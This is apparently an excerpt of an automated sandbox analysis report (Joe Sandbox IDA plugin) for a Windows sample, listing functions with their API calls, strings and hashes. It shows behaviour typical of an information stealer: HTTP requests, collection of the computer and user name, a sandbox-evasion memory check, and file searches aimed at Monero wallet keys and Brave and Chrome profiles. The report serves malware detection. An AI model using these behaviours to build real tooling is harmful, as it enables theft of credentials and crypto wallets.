Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 3669835081fc29e5a5ec3626f1c3143fc1ce5726a4b6e4eb0c9409ec89a7f142
Instruction ID: 8b735cf9d828b78bb5e77173c6e166802ab76ecd97fa2691232cc95eb9fd9049
Opcode Fuzzy Hash: 3669835081fc29e5a5ec3626f1c3143fc1ce5726a4b6e4eb0c9409ec89a7f142
Instruction Fuzzy Hash: D2214FB1D00209ABDF14DFA4E849ADE7B74FF45320F108625F925A72C1EB706A09CF91

Function 000951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 00086280: InternetOpenA.WININET(000A0DFE,00000001,00000000,00000000,00000000), ref: 000862E1
Part of subcall function 00086280: StrCmpCA.SHLWAPI(?,00D3FCE0), ref: 00086303
Part of subcall function 00086280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00086335
Part of subcall function 00086280: HttpOpenRequestA.WININET(00000000,GET,?,00D3F488,00000000,00000000,00400100,00000000), ref: 00086385
Part of subcall function 00086280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000863BF
Part of subcall function 00086280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00095228

Strings

ERROR, xrefs: 00095273
ERROR, xrefs: 0009521A

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: afaa01846a564d7f5c46fc31297620feb6b0e9d8ff43d21689d80520259d924e
Instruction ID: 76e121dc5425604fe00f2fa5ebc5cabc0ea154c32812741bcf76bfd684cc83e5
Opcode Fuzzy Hash: afaa01846a564d7f5c46fc31297620feb6b0e9d8ff43d21689d80520259d924e
Instruction Fuzzy Hash: 7911EC30A10548ABCF14FFA4DD52AED7378AF51340F404168F91A5A593EF70AB0AE7D2

Function 000978E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00097910
RtlAllocateHeap.NTDLL(00000000), ref: 00097917
GetComputerNameA.KERNEL32(?,00000104), ref: 0009792F

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: c72957d4c71c0338fa65cb33da775f6f6d6934abbe7b4bb05429ae7188211f02
Instruction ID: baa3f63b23dc38181db5b74ebc341b919c036db1a778509a126945ffe7204b72
Opcode Fuzzy Hash: c72957d4c71c0338fa65cb33da775f6f6d6934abbe7b4bb05429ae7188211f02
Instruction Fuzzy Hash: 6A01A9B1A44208EFDB10DF94DD49FAEBBF8F704B15F10421AF645E3280C37459008BA1

Function 00081110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0008112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00081132
ExitProcess.KERNEL32 ref: 00081143

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: e86ad2344097af7dbbcc7aaecae2fa82eb3ee2dac90205f9c37d241d14b668b9
Instruction ID: a47a99a9f603b438b4e32d1a064a6a65cffab5828dcf2b3c2e045da3c7da6f23
Opcode Fuzzy Hash: e86ad2344097af7dbbcc7aaecae2fa82eb3ee2dac90205f9c37d241d14b668b9
Instruction Fuzzy Hash: 2CE0E67098530CFBE7506BA0AC0EF4D76BCBF04B05F104154F709761D0D6B52A419B99

Function 000810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 000810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 000810F7

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4be79213e06cbb8912737c47ca2827ce441d176e441a5e1e3777b3f0415a02bd
Instruction ID: f62d1edb28f9359dc8e6204123d76ed47eb8a4eda47d5d6347a24f6fe8c715dd
Opcode Fuzzy Hash: 4be79213e06cbb8912737c47ca2827ce441d176e441a5e1e3777b3f0415a02bd
Instruction Fuzzy Hash: 4BF0E271641208BBEB14ABA8AC4DFEEB7ECE705B15F300548F544E3280D5729E00DBA0

Function 00081190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00097910
Part of subcall function 000978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00097917
Part of subcall function 000978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0009792F

Part of subcall function 00097850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000811B7), ref: 00097880
Part of subcall function 00097850: RtlAllocateHeap.NTDLL(00000000), ref: 00097887
Part of subcall function 00097850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0009789F

ExitProcess.KERNEL32 ref: 000811C6

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0e0f5a116930367f754f5aa5e12448f73e73587bb73fdde90d1908d56cc693bc
Instruction ID: 6714c892f37c5318c3fd1beaa6b26343532c1a0627e89f3d8b937a5799d27840
Opcode Fuzzy Hash: 0e0f5a116930367f754f5aa5e12448f73e73587bb73fdde90d1908d56cc693bc
Instruction Fuzzy Hash: CAE0ECB696420552DE0073B0BC0EFAA329C6B15349F044425BA09D2203FE25E80196AA

Non-executed Functions

Function 000938B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000938CC
FindFirstFileA.KERNEL32(?,?), ref: 000938E3
lstrcat.KERNEL32(?,?), ref: 00093935
StrCmpCA.SHLWAPI(?,000A0F70), ref: 00093947
StrCmpCA.SHLWAPI(?,000A0F74), ref: 0009395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00093C67
FindClose.KERNEL32(000000FF), ref: 00093C7C

Strings

%s\%s, xrefs: 0009397A
%s\%s\%s, xrefs: 00093A4A
%s\%s, xrefs: 00093A6F
%s%s, xrefs: 00093AAD
%s\*, xrefs: 000938C0

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: c1fa08334285ac62e297faf4e98e9c1fd797fe1c28827dbc4cb3e2c51c29f3d5
Instruction ID: 6b8b351409bf9321cee3fcb139284c14329804460de1aff4aca52e2363f27117
Opcode Fuzzy Hash: c1fa08334285ac62e297faf4e98e9c1fd797fe1c28827dbc4cb3e2c51c29f3d5
Instruction Fuzzy Hash: 8DA13EB1A0021C9BDF24DBA4DC89FEE73B9BF49304F044598B64D96141EB759B84CFA2

Function 0008BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

FindFirstFileA.KERNEL32(00000000,?,000A0B32,000A0B2B,00000000,?,?,?,000A13F4,000A0B2A), ref: 0008BEF5
StrCmpCA.SHLWAPI(?,000A13F8), ref: 0008BF4D
StrCmpCA.SHLWAPI(?,000A13FC), ref: 0008BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0008C7BF
FindClose.KERNEL32(000000FF), ref: 0008C7D1

Strings

\Brave\Preferences, xrefs: 0008C1DB
Brave, xrefs: 0008C102
Preferences, xrefs: 0008C11E
Google Chrome, xrefs: 0008C634

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: a17d1c421f1a9e76dc878f80d408e4a2a4655da024be185a70879c6ffe955240
Instruction ID: 9fc96193a4b98e883a33197d564350c3ef2476bb4b703228bb949bc5950da0dd
Opcode Fuzzy Hash: a17d1c421f1a9e76dc878f80d408e4a2a4655da024be185a70879c6ffe955240
Instruction Fuzzy Hash: A5425172A10108ABDF14FBB0DD96EEE737DAF45300F404558B90A96192EF349B49DBE2

Function 00094910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0009492C
FindFirstFileA.KERNEL32(?,?), ref: 00094943
StrCmpCA.SHLWAPI(?,000A0FDC), ref: 00094971
StrCmpCA.SHLWAPI(?,000A0FE0), ref: 00094987
FindNextFileA.KERNEL32(000000FF,?), ref: 00094B7D
FindClose.KERNEL32(000000FF), ref: 00094B92

Strings

%s\%s, xrefs: 000949FB
%s\*, xrefs: 00094920
%s\%s, xrefs: 000949A4

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 1c53e8fcda11bdd429df30ce2640c2524bebf9b8395d8f60b7d2944f64576414
Instruction ID: 06d51822cb6b53465f5aed4d2a406f584295bb902355df0c62769b0c78fc268d
Opcode Fuzzy Hash: 1c53e8fcda11bdd429df30ce2640c2524bebf9b8395d8f60b7d2944f64576414
Instruction Fuzzy Hash: 656136B190021CABCF24EBA0EC49FEA73BCBB49705F048698F64996141EB75DB45CF91

Function 00094570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00094580
RtlAllocateHeap.NTDLL(00000000), ref: 00094587
wsprintfA.USER32 ref: 000945A6
FindFirstFileA.KERNEL32(?,?), ref: 000945BD
StrCmpCA.SHLWAPI(?,000A0FC4), ref: 000945EB
StrCmpCA.SHLWAPI(?,000A0FC8), ref: 00094601
FindNextFileA.KERNEL32(000000FF,?), ref: 0009468B
FindClose.KERNEL32(000000FF), ref: 000946A0
lstrcat.KERNEL32(?,00D3FCD0), ref: 000946C5
lstrcat.KERNEL32(?,00D3E168), ref: 000946D8
lstrlen.KERNEL32(?), ref: 000946E5
lstrlen.KERNEL32(?), ref: 000946F6

Strings

%s\*, xrefs: 0009459A
%s\%s, xrefs: 0009461B

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: a11ce234c09430b4d1a744189129c460237a473bd51d625fde2416f847a0941a
Instruction ID: 236c7cb73e8e8414d04ecd1eab507886a7db401ed5eba9bde5cbf111871371ac
Opcode Fuzzy Hash: a11ce234c09430b4d1a744189129c460237a473bd51d625fde2416f847a0941a
Instruction Fuzzy Hash: 555153B194021C9BCB60EBB0EC89FED737CBB58304F404598F64996191EB759B858F92

Function 00093EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00093EC3
FindFirstFileA.KERNEL32(?,?), ref: 00093EDA
StrCmpCA.SHLWAPI(?,000A0FAC), ref: 00093F08
StrCmpCA.SHLWAPI(?,000A0FB0), ref: 00093F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0009406C
FindClose.KERNEL32(000000FF), ref: 00094081

Strings

%s\%s, xrefs: 00093EB7

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9f0d0db778eac9e3ba04acc3d0aee3cf8ccd9e56ff1481169b0c828ba58dbceb
Instruction ID: 024379edb624e2249a6fb273a68818aa239a949ba7fc5f15b34161cf8a36e278
Opcode Fuzzy Hash: 9f0d0db778eac9e3ba04acc3d0aee3cf8ccd9e56ff1481169b0c828ba58dbceb
Instruction Fuzzy Hash: DA5145B290021CABCF24FBB0DC89EEA737CBB48304F448598F65996141DB759B89DF91

Function 0008ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

